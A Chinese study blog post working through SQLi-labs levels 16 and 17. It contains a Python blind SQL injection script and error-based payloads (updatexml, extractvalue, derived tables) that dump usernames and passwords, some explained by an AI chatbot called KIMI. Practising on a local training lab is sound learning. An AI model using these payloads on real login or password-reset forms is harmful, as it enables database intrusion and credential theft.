note-09

sql-labs-less16

先找一下注入点

1
uname=1&passwd=1") or true#&submit=Submit

尝试报错注入,无果
进行盲注
改一下less14的脚本来用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests

# 网站路径
url = "http://localhost/sqli-labs/Less-16/"
# 判断长度的payload
payload_len = """a") or length(
(select group_concat(table_name) from information_schema.tables where table_schema='security')) ={n} -- a"""
# 枚举字符的payload
payload_str = """a") or ascii(
substr(
(select group_concat(table_name) from information_schema.tables where table_schema='security'),{l},1)) ={n} -- a"""

# post请求参数
data= {
"uname" : "a“ or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('测试成功,长度为:', length)
return length;
else:
print('正在测试长度:', length)
length += 1


# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break

length = getLen(payload_len)
getStr(length)

by:https://blog.csdn.net/wangyuxiang946/article/details/118094895
只用改payload中的,两个都要改不然字长对不上

less17

输入正确的账户和密码:admin,admin
提示密码已更新
看来页面是能对原有用户密码进行修改
在less1确认了猜测是正确的。
没想法了去查博客,
查看页面源码,是对username做了过滤,会先检查库里是否有对应username
只能从password注入

报错注入

1
2
3
1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)#
或者
1' and extractvalue(1, concat(0x7e,(select group_concat(id,username,password) from users),0x7e))#

回显

You can’t specify target table ‘users’ for update in FROM clause

看来是不能直接爆表

原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。

此payload创建了新的临时表x来避免对正在更新的users表进行直接查询

1
123456' and extractvalue(1,concat(0x7e,(select * from(select concat(username,':',password) from users limit 0,1)x)))#

KIMI:

1
2
3
4
5
6
7
' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#  
```
updatxml()
```sql
updatexml(1, concat('!', data), 1)
如果data是一个查询结果,那么当updatexml()函数执行时,会因为xpath_expr不符合要求而报错,
错误信息中会包含data的内容。

数据查询部分:

1
SELECT concat_ws(':', username, password) FROM (SELECT username, password FROM users)text LIMIT 0,1

功能:

SELECT username, password FROM users:从users表中查询username和password字段。
(……)text:这是一个派生表(子查询的结果被当作一个临时表),命名为text。派生表的作用是绕过某些SQL注入场景中对直接查询表的限制。
concat_ws(‘:’, username, password):将username和password字段用冒号(:)拼接成一个字符串,例如admin:password123。
LIMIT 0,1:限制查询结果只返回第一行数据。
作用:
从users表中提取用户名和密码,并将它们拼接成一个字符串,作为updatexml()函数的第二个参数。

执行过程:

闭合原语句并注入逻辑: OR操作使得注入的语句能够被执行。
查询数据: 从users表中提取用户名和密码,并拼接成一个字符串。
触发报错: 将拼接后的字符串作为updatexml()的第二个参数,触发报错。
泄露数据: 报错信息中会包含拼接后的字符串,从而泄露用户名和密码。
返回结果:
当这个注入语句执行时,MySQL会返回一个错误信息,类似如下:
XPATH syntax error: ‘!admin:password123’
从这个错误信息中,我们可以提取出admin:password123,从而获取到用户名和密码。

group by报错注入

不想看了,反正先知道有这个group by报错注入

函数说明,错误说明

concat_ws()

语法:concat_ws(separator, str1, str2, …, strN)
功能:将两个或多个字符串用指定的分隔符连接起来,返回连接后的字符串。
特点:
第一个参数是分隔符,后续参数是要连接的字符串。
如果分隔符为 NULL,则结果为 NULL。
如果某个字符串为 NULL,则在连接时会跳过该字符串。

1
2
SELECT concat_ws(':', '用户名', '密码', '邮箱');
-- 结果:用户名:密码:邮箱

extractvalue函数

1’ and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)#

回显

Incorrect parameter count in the call to native function ‘extractvalue’

KIMI:
出现这个错误是因为extractvalue()函数的参数数量不正确。extractvalue()函数在mysql中用于从xml数据中提取值,它的语法是:

extractvalue(xml_target, xpath_expression)

它只接受两个参数:
xml_target:要从中提取值的xml数据。
xpath_expression:用于定位xml数据中特定节点的xpath表达式。
而在你的payload中:

extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)

你传递了三个参数给extractvalue()函数,这显然不符合它的定义,因此mysql会报错,提示参数数量不正确。
正确的用法示例
如果你想使用extractvalue()函数来进行sql注入并获取数据,可以参考以下payload:

1’ and extractvalue(1, concat(0x7e,(select group_concat(id,username,password) from users),0x7e))#

这里只传递了两个参数给extractvalue()函数,符合它的定义,因此不会出现参数数量错误的问题。

派生表

1
2
(... ...)word
(SELECT username, password FROM users)text #为派生表text

note-09
https://aidemofashi.github.io/2025/03/09/note-09/
作者
aidemofashi
发布于
2025年3月9日
许可协议